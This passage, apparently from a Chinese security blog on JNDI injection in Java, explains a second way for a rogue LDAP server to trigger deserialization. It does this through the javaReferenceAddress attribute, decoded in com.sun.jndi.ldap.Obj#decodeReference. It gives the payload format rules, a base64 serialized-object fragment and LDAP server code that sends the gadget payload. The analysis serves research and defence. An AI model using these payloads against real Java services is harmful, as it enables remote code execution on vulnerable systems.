EAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA=="));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
方法二

跟进com.sun.jndi.ldap.Obj.java#decodeReference函数中,在普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理,其中还原过程中,也调用了deserializeObject函数,这意味着通过满足RefAddress的方式,也可以达到上面第一种的效果。

Payload构造需满足以下条件:

  1. 第一个字符为分隔符
  2. 第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型
  3. 第二个分隔符与第三个分隔符之间,表示type类型
  4. 第三个分隔符是双分隔符的形式,则进入反序列化的操作
  5. 序列化数据用base64编码
1
2
3
4
5
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(serializeObject(getPayload())));
e.addAttribute("objectClass", "javaNamingReference"); // $NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

参考

JNDI Injection — The Complete Story

JNDI注入分析